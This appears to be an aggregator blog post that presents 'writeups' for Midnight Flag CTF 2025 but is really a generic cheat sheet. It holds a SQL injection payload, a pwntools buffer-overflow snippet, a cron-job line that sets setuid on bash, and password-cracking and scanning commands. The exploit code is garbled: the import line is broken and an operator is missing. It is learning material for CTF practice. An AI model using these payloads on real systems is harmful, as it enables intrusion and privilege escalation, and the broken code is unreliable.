Midnight Flag CTF 2025 Writeups – CTFするぞ

Listen to this Post

Featured Image

You Should Know:

Midnight Flag CTF 2025 was a high-intensity cybersecurity competition featuring challenges in reverse engineering, web exploitation, forensics, and binary exploitation. Below are key techniques, commands, and scripts used in solving some of the challenges.

Reverse Engineering (RE) Challenges

  • Extracting Strings from Binaries:
    strings challenge_binary | grep "flag{"
    
  • Disassembling with Ghidra:
    ghidra & 
    

Load the binary and analyze functions for vulnerabilities.

Web Exploitation

  • SQL Injection Payload:
    ' OR 1=1-- -
    
  • Directory Fuzzing with FFUF:
    ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
    

Forensics Challenges

  • Analyzing PCAP Files with Tshark:
    tshark -r capture.pcap -Y "http.request" 
    
  • Extracting Hidden Data from Images:
    steghide extract -sf image.jpg -xf output.txt 
    

Binary Exploitation (Pwn)

  • Buffer Overflow with Python Exploit:
    from pwn import<br />
    p = remote('target.com', 1337) 
    payload = b'A'  64 + p32(0xdeadbeef) 
    p.sendline(payload) 
    p.interactive() 
    

Privilege Escalation (Post-Exploitation)

  • Checking SUID Binaries:
    find / -perm -4000 2>/dev/null 
    
  • Exploiting Cron Jobs:
    echo "chmod +s /bin/bash" > /tmp/exploit.sh 
    chmod +x /tmp/exploit.sh 
    

Expected CTF Tools & Commands

  • Nmap Scanning:
    nmap -sV -A target.com 
    
  • John The Ripper (Password Cracking):
    john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
    

What Undercode Say

CTF competitions like Midnight Flag 2025 test real-world cybersecurity skills. Mastering tools like Ghidra, FFUF, and Python exploitation scripts is essential. Always practice ethical hacking in controlled environments.

Prediction

Future CTFs will likely incorporate AI-based challenges, requiring automated exploit generation and adversarial machine learning techniques.

Expected Output:

flag{sample_flag_here} 

URL: Midnight Flag CTF 2025 Writeups

References:

Reported By: Florian Hansemann – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram